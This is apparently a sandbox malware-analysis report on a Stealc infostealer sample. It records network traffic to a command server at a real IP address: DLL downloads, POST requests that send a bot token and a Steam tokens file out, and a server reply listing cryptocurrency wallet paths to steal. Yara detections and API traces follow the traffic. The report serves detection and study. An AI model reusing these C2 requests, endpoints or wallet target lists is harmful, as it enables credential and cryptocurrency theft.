Oct 7, 2024 21:19:19.270970106 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 7, 2024 21:19:19.485949993 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:19:19 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 7, 2024 21:19:23.282229900 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 7, 2024 21:19:23.497454882 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:19:23 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 7, 2024 21:19:23.966223001 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 7, 2024 21:19:24.183413029 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:19:24 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 7, 2024 21:19:24.752907991 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCFHDHIIIECBGCAKFIJ Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 21:19:25.466526985 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:19:24 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 21:19:25.596985102 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHIDHCBGDHJKEBGDGIJE Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 47 44 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 32 31 38 35 33 37 63 31 61 66 35 66 33 33 63 35 39 38 64 61 63 36 61 34 36 64 33 61 35 37 31 37 61 66 30 62 33 34 37 63 34 61 31 61 39 36 63 34 30 32 63 35 66 66 64 64 66 62 34 37 30 32 33 38 32 66 36 32 33 32 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 47 44 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 47 44 47 49 4a 45 2d 2d 0d 0a Data Ascii: ------GHIDHCBGDHJKEBGDGIJEContent-Disposition: form-data; name="token"9a218537c1af5f33c598dac6a46d3a5717af0b347c4a1a96c402c5ffddfb4702382f6232------GHIDHCBGDHJKEBGDGIJEContent-Disposition: form-data; name="message"wallets------GHIDHCBGDHJKEBGDGIJE--
Oct 7, 2024 21:19:25.814349890 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:19:25 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 7, 2024 21:19:25.817003965 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCFHDAKECFIDGDGDBKJ Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 32 31 38 35 33 37 63 31 61 66 35 66 33 33 63 35 39 38 64 61 63 36 61 34 36 64 33 61 35 37 31 37 61 66 30 62 33 34 37 63 34 61 31 61 39 36 63 34 30 32 63 35 66 66 64 64 66 62 34 37 30 32 33 38 32 66 36 32 33 32 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="token"9a218537c1af5f33c598dac6a46d3a5717af0b347c4a1a96c402c5ffddfb4702382f6232------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="message"files------EGCFHDAKECFIDGDGDBKJ--
Oct 7, 2024 21:19:26.034904957 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:19:25 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 21:19:26.043185949 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHIJEBKEBGHIDHJKJEG Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 48 49 4a 45 42 4b 45 42 47 48 49 44 48 4a 4b 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 32 31 38 35 33 37 63 31 61 66 35 66 33 33 63 35 39 38 64 61 63 36 61 34 36 64 33 61 35 37 31 37 61 66 30 62 33 34 37 63 34 61 31 61 39 36 63 34 30 32 63 35 66 66 64 64 66 62 34 37 30 32 33 38 32 66 36 32 33 32 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 49 4a 45 42 4b 45 42 47 48 49 44 48 4a 4b 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 49 4a 45 42 4b 45 42 47 48 49 44 48 4a 4b 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BFHIJEBKEBGHIDHJKJEGContent-Disposition: form-data; name="token"9a218537c1af5f33c598dac6a46d3a5717af0b347c4a1a96c402c5ffddfb4702382f6232------BFHIJEBKEBGHIDHJKJEGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BFHIJEBKEBGHIDHJKJEGContent-Disposition: form-data; name="file"------BFHIJEBKEBGHIDHJKJEG--
Oct 7, 2024 21:19:26.743031979 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:19:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 21:19:26.781091928 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAFBAEBKJKFIDHJJKJK Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 32 31 38 35 33 37 63 31 61 66 35 66 33 33 63 35 39 38 64 61 63 36 61 34 36 64 33 61 35 37 31 37 61 66 30 62 33 34 37 63 34 61 31 61 39 36 63 34 30 32 63 35 66 66 64 64 66 62 34 37 30 32 33 38 32 66 36 32 33 32 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------HDAFBAEBKJKFIDHJJKJKContent-Disposition: form-data; name="token"9a218537c1af5f33c598dac6a46d3a5717af0b347c4a1a96c402c5ffddfb4702382f6232------HDAFBAEBKJKFIDHJJKJKContent-Disposition: form-data; name="message"ybncbhylepme------HDAFBAEBKJKFIDHJJKJK--
Oct 7, 2024 21:19:27.016259909 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:19:26 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 4676 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6f 66 66 69 63 65 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 [TRUNCATED] Data Ascii: .pl<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.office.com.microsoft.com.microsoft.com.microsoft.comsupport.microsoft.com.microsoft.com.c1.microsoft.comsupport.microsoft.com.c.bing.com.c1.microsoft.com.bing.com.microsoft.comsupport.microsoft.com.c.bing.com.c.bing.com.c1.microsoft.comlogin.microsoftonline.comsupport.microsoft.com.microsoft.comlogin.microsoftonline.com.google.com<br>.ar<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.office.com.microsoft.com.microsoft.com.microsoft.comsupport.microsoft.com.microsoft.com.c1.microsoft.comsupport.microsoft.com.c.bing.com.c1.microsoft.com.bing.com.microsoft.comsupport.microsoft.com.c.bing.com.c.bing.com.c1.microsoft.comlogin.microsoftonline.comsupport.microsoft.com.microsoft.comlogin.microsoftonline.com.google.com<br>*.br<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.offi
Oct 7, 2024 21:19:27.018404961 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIEBKKFHIEGCAKECGHJ Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 32 31 38 35 33 37 63 31 61 66 35 66 33 33 63 35 39 38 64 61 63 36 61 34 36 64 33 61 35 37 31 37 61 66 30 62 33 34 37 63 34 61 31 61 39 36 63 34 30 32 63 35 66 66 64 64 66 62 34 37 30 32 33 38 32 66 36 32 33 32 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 2d 2d 0d 0a Data Ascii: ------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="token"9a218537c1af5f33c598dac6a46d3a5717af0b347c4a1a96c402c5ffddfb4702382f6232------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FHIEBKKFHIEGCAKECGHJ--
Oct 7, 2024 21:19:27.730252981 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:19:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	15:18:56
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xb90000
File size:	1'840'128 bytes
MD5 hash:	978E0F4D5D068CC04A04FA6CE259E4B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2009684418.0000000000677000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1689855003.0000000004B90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2009684418.000000000061E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	25.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	28

Executed Functions

Function 00BA9860 Relevance: 84.2, APIs: 33, Strings: 15, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00632278), ref: 00BA98A1
GetProcAddress.KERNEL32(74DD0000,00632230), ref: 00BA98BA
GetProcAddress.KERNEL32(74DD0000,00632308), ref: 00BA98D2
GetProcAddress.KERNEL32(74DD0000,006324D0), ref: 00BA98EA
GetProcAddress.KERNEL32(74DD0000,00632368), ref: 00BA9903
GetProcAddress.KERNEL32(74DD0000,00638FF8), ref: 00BA991B
GetProcAddress.KERNEL32(74DD0000,00625B30), ref: 00BA9933
GetProcAddress.KERNEL32(74DD0000,00625DD0), ref: 00BA994C
GetProcAddress.KERNEL32(74DD0000,00632398), ref: 00BA9964
GetProcAddress.KERNEL32(74DD0000,00632320), ref: 00BA997C
GetProcAddress.KERNEL32(74DD0000,00632410), ref: 00BA9995
GetProcAddress.KERNEL32(74DD0000,00632458), ref: 00BA99AD
GetProcAddress.KERNEL32(74DD0000,00625BF0), ref: 00BA99C5
GetProcAddress.KERNEL32(74DD0000,00632440), ref: 00BA99DE
GetProcAddress.KERNEL32(74DD0000,006324B8), ref: 00BA99F6
GetProcAddress.KERNEL32(74DD0000,00625C70), ref: 00BA9A0E
GetProcAddress.KERNEL32(74DD0000,006322D8), ref: 00BA9A27
GetProcAddress.KERNEL32(74DD0000,006322F0), ref: 00BA9A3F
GetProcAddress.KERNEL32(74DD0000,00625E50), ref: 00BA9A57
GetProcAddress.KERNEL32(74DD0000,00632470), ref: 00BA9A70
GetProcAddress.KERNEL32(74DD0000,00625C10), ref: 00BA9A88
LoadLibraryA.KERNEL32(006325A8,?,00BA6A00), ref: 00BA9A9A
LoadLibraryA.KERNEL32(00632548,?,00BA6A00), ref: 00BA9AAB
LoadLibraryA.KERNEL32(006325D8,?,00BA6A00), ref: 00BA9ABD
LoadLibraryA.KERNEL32(00632578,?,00BA6A00), ref: 00BA9ACF
LoadLibraryA.KERNEL32(00632530,?,00BA6A00), ref: 00BA9AE0
GetProcAddress.KERNEL32(75A70000,00632560), ref: 00BA9B02
GetProcAddress.KERNEL32(75290000,006325C0), ref: 00BA9B23
GetProcAddress.KERNEL32(75290000,00632590), ref: 00BA9B3B
GetProcAddress.KERNEL32(75BD0000,00632518), ref: 00BA9B5D
GetProcAddress.KERNEL32(75450000,00625C90), ref: 00BA9B7E
GetProcAddress.KERNEL32(76E90000,00638F68), ref: 00BA9B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00BA9BB6

Strings

P^b, xrefs: 00BA9A4A
0[b, xrefs: 00BA9926
p$c, xrefs: 00BA9A62
X$c, xrefs: 00BA99A0
0"c, xrefs: 00BA98AC
NtQueryInformationProcess, xrefs: 00BA9BAA
p\b, xrefs: 00BA9A01
0%c, xrefs: 00BA9ADA
@$c, xrefs: 00BA99D0
H%c, xrefs: 00BA9AA5
x%c, xrefs: 00BA9AC8
x"c, xrefs: 00BA9894
#c, xrefs: 00BA996F
`%c, xrefs: 00BA9AF4
h#c, xrefs: 00BA98F5

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
